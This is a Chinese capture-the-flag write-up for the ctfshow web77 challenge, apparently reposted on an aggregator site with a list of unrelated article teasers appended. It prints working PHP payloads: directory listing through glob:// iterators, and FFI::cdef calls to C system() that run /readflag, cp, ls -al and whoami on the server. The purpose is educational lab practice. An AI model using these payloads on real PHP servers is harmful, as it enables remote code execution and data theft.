[ctfshow web入門] web77

信息收集

上一題的讀取flag方式不能用了,使用后的回顯是:could not find driver

解題

同樣的查目錄方法

c=var_export(scandir("glob:///*"));die();
c=foreach(new DirectoryIterator("glob:///*") as $a){echo($a->__toString().' ');
}
ob_flush();
c=if ( $a = opendir("glob:///*") ) {while ( ($file = readdir($a)) !== false ) {echo $file."<br>";}closedir($a);exit();
}

在這里插入圖片描述

讀取flag

關于FFI的博客:PHP7.4 FFI 擴展安全問題

我只說FFI:cdef的一些結論:
php7.4才有
第二個參數可以缺省,缺省時大多情況下也能找到對應函數,有點類似于C的GetProcAddress
這個被調用的C函數由于沒有寫權限,前端沒有回顯

public static FFI::cdef(string $code = "", ?string $lib = null): FFI

最終答案

c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('/readflag > 2.txt');die();

其中readflag是可執行文件,不是flag,所以執行/readflag后將結果輸出到2.txt,就能拿到flag
由于沒有目錄穿透的手段了,只能復制到當前目錄進行讀取,可以使用include或是readgzfile啥的,都不影響

嘗試過程

c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('cp /flag36x.txt > 1.txt');
$ffi->system('cp /readflag 2.txt');die();

1.txt沒有內容,2.txt是個ELF文件,開頭有個ELF字樣,就像windows可執行文件PE文件開頭有MZ字樣,圖片文件開頭也有PNG等能標識文件格式的字樣。
在這里插入圖片描述
這是一段偽C代碼,因為這是從硬編碼翻譯過來的,與原來的C代碼可能有所出入
使用uid設置為管理員權限
puts輸出一段字符串
執行system(“cat /flag36x.txt”),這和php中的代碼效果相同
在這里插入圖片描述

猜測/flag36x.txt只有管理員能讀
執行下面命令查看文件屬性

c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('ls / -al > ls.txt');exit();

在這里插入圖片描述
關于權限,看博客:Linux:文件權限詳解及修改方法
看權限分類即可

c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('whoami > who.txt');exit();

打開who.txt得到我們是www-data

c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('groups www-data > groups.txt');exit();

groups.txt得到www-data : www-data,顯然我們不屬于管理員用戶組

而flag36x.txt的權限是擁有者可讀所屬用戶組可讀,我們不滿足,無法讀取
如果嘗試復制這個文件就會提示如下錯誤

cp: missing destination file operand after '/flag36x.txt'
Try 'cp --help' for more information.

下一章就是web118
web76 ?? 目錄 ?? web118

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/905986.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/905986.shtml
英文地址,請注明出處:http://en.pswp.cn/news/905986.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

每日算法刷題Day8 5.16:leetcode定長滑動窗口4道題,用時1h

5. 2379.得到k個黑塊的最少涂色次數(簡單) 2379. 得到 K 個黑塊的最少涂色次數 - 力扣&#xff08;LeetCode&#xff09; 思想 1.返回至少出現 一次 連續 k 個黑色塊的 最少 操作次數 2.還是定長k&#xff0c;統計量就是把白色變成黑色的操作次數&#xff0c;無需記錄當前有…

很啰嗦,再次總結 DOM

DOM (文檔對象模型) 詳解 一、DOM 基礎概念 1. 定義與作用 DOM&#xff08;Document Object Model&#xff09;即文檔對象模型&#xff0c;是一種用于 HTML 和 XML 文檔的編程接口。它將文檔解析為一個由節點和對象組成的樹狀結構&#xff0c;允許程序和腳本動態訪問、修改文…

ES6 (ECMAScript 2015) 詳解

文章目錄 一、ES6簡介1.1 什么是ES6&#xff1f;1.2 為什么要學習ES6&#xff1f;1.3 瀏覽器支持情況 二、let和const關鍵字2.1 let關鍵字2.2 const關鍵字2.3 var、let和const的選擇 三、箭頭函數3.1 基本語法3.2 箭頭函數的特點3.3 何時使用箭頭函數 四、模板字符串4.1 基本語…

LeetCode 746 使用最小花費爬樓梯

當然可以&#xff01;LeetCode 746 是一道經典的動態規劃入門題&#xff0c;我來用 C 為你詳細解釋。 題目描述 給定一個整數數組 cost&#xff0c;其中每個元素 cost[i] 表示從第 i 個臺階向上爬需要支付的費用。一旦支付費用&#xff0c;你可以選擇向上爬 1 步 或 2 步。 你…

6.1.1圖的基本概念

基本概念 圖&#xff1a; 頂點集邊集 頂點集&#xff1a;所有頂點的集合&#xff0c;不能為空&#xff08;因為圖是頂點集和邊集組成&#xff0c;其中一個頂點集不能為空&#xff0c;則圖肯定不為空&#xff09; 邊集&#xff1a;所有邊的集合&#xff0c;邊是由頂點集中的2…

WeakAuras Lua Script [TOC BOSS 5 - Anub‘arak ]

WeakAuras Lua Script [TOC BOSS 5 - Anubarak ] 阿努巴拉克 - 小強中蟲范圍 插件 !WA:2!DE1B0Xrvv8UmuRmIqZwiaXQmgKycwsYUPjPLZPTz3nBYULKnBNDtlYP6o)7T7mMzNz6BMnnBefBqGacIUOsXIkSIki)rCbLkIhLi6h8t3to6h9G2dXt4R9d(rR33mt2MyepQ75KSV3BUZ9FV7VF37g54rDvgU)yX7)GrRgvlQ2Y…

【C/C++】深度探索c++對象模型_筆記

1. 對象內存布局 (1) 普通類&#xff08;無虛函數&#xff09; 成員變量排列&#xff1a;按聲明順序存儲&#xff0c;但編譯器會根據內存對齊規則插入填充字節&#xff08;padding&#xff09;。class Simple {char a; // 1字節&#xff08;偏移0&#xff09;int b; …

湖北理元理律師事務所:債務優化中的雙維支持實踐解析

在債務壓力與生活質量失衡的社會議題下&#xff0c;法律服務機構的功能邊界正在從單一的法律咨詢向復合型支持延伸。湖北理元理律師事務所通過“法律心理”雙維服務模式&#xff0c;探索債務優化與生活保障的平衡路徑&#xff0c;其方法論或為行業提供實踐參考。 法律框架&…

Python uv包管理器使用指南:從入門到精通

Python uv包管理器使用指南&#xff1a;從入門到精通 作為一名Python開發者&#xff0c;你是否曾經為虛擬環境管理和依賴包安裝而頭疼&#xff1f;今天我要向大家介紹一個強大的工具——uv包管理器&#xff0c;它將徹底改變你的Python開發體驗。 什么是uv包管理器&#xff1f…

Windows系統安全加固

掌握的加固點&#xff1a; 用戶系統檢查 口令策略檢查 日志審計檢查 安全選項檢查 信息保護檢查 2.2.1 用戶系統檢查 #檢查系統版本內核 判斷依據&#xff1a;無 檢查方式&#xff1a;命令 msinfo32 dxdiag查看 #檢查Administrator賬號是否停用 判斷依據&#xff1a;禁…

小蝸牛撥號助手用戶使用手冊

一、軟件簡介 小蝸牛撥號助手是一款便捷實用的撥號輔助工具&#xff0c;能自動識別剪貼板中的電話號碼&#xff0c;支持快速撥號操作。最小化或關閉窗口后&#xff0c;程序將在系統后臺運行&#xff0c;還可設置開機自啟&#xff0c;方便隨時使用&#xff0c;提升撥號效率。 …

c/c++消息隊列庫RabbitMQ的使用

RabbitMQ C 消息隊列組件設計與實現文檔 1. 引言 1.1. RabbitMQ 簡介 RabbitMQ 是一個開源的消息代理軟件&#xff08;也稱為面向消息的中間件&#xff09;&#xff0c;它實現了高級消息隊列協議&#xff08;AMQP&#xff09;。RabbitMQ 服務器是用 Erlang 語言編寫的&#…

線程(二)OpenJDK 17 中線程啟動的完整流程用C++ 源碼詳解之主-子線程通信機制

深入解析OpenJDK 17中Java線程的創建與主-子線程通信機制 引言 在Java中&#xff0c;線程的創建與啟動通過Thread.start()實現&#xff0c;但底層是JVM與操作系統協作完成的復雜過程。本文基于OpenJDK 17的C源碼&#xff0c;揭秘Java線程創建時主線程與子線程的通信機制&…

多線程爬蟲語言選擇與實現

之前文中有人提到&#xff1a;想要一個簡單易用、能快速實現多線程爬蟲的方案&#xff0c;而且目標是小網站&#xff0c;基本可以確定對反爬蟲措施要求不高&#xff0c;這些就比較簡單了。 以往我肯定要考慮常見的編程語言中哪些適合爬蟲。Python、JavaScript&#xff08;Node…

AMD Vivado? 設計套件生成加密比特流和加密密鑰

概括 重要提示&#xff1a;有關使用AMD Vivado? Design Suite 2016.4 及更早版本進行 eFUSE 編程的重要更新&#xff0c;請參閱AMD設計咨詢 68832 。 本應用說明介紹了使用AMD Vivado? 設計套件生成加密比特流和加密密鑰&#xff08;高級加密標準伽羅瓦/計數器模式 (AES-GCM)…

Unity3D仿星露谷物語開發44之收集農作物

1、目標 在土地中挖掘后&#xff0c;灑下種子后逐漸成長&#xff0c;然后使用籃子收集成熟后的農作物&#xff0c;工具欄中也會相應地增加該農作物。 2、修改CropStandard的參數 Assets -> Prefabs -> Crop下的CropStandard&#xff0c;修改其Box Collider 2D的Size(Y…

list重點接口及模擬實現

list功能介紹 c中list是使用雙向鏈表實現的一個容器&#xff0c;這個容器可以實現。插入&#xff0c;刪除等的操作。與vector相比&#xff0c;vector適合尾插和尾刪&#xff08;vector的實現是使用了動態數組的方式。在進行頭刪和頭插的時候后面的數據會進行挪動&#xff0c;時…

CE17.【C++ Cont】練習題組17(堆專題)

目錄 1.P2085 最小函數值 題目 分析 方法1:暴力求解 方法2:二次函數的性質(推薦!) 代碼 提交結果 2.P1631 序列合并 分析 方法1:建兩個堆 第一版代碼 提交結果 第二版代碼 提交結果 第三版代碼 提交結果 方法2:只建一個堆 代碼 提交結果 1.P2085 最小函數值…

題單:表達式求值1

題目描述 給定一個只包含 “加法” 和 “乘法” 的算術表達式&#xff0c;請你編程計算表達式的值。 輸入格式 輸入僅有一行&#xff0c;為需要計算的表達式&#xff0c;表達式中只包含數字、加法運算符 和乘法運算符 *&#xff0c;且沒有括號。 所有參與運算的數字不超過…

DeepSeek超大模型的高效訓練策略

算力挑戰 訓練DeepSeek此類千億乃至萬億級別參數模型,對算力資源提出了極高要求。以DeepSeek-V3為例,其基礎模型參數量為67億,采用專家混合(MoE)架構后實際激活參數可達幾百億。如此規模的模型遠超單張GPU顯存容量極限,必須借助分布式并行才能加載和訓練。具體挑戰主要包…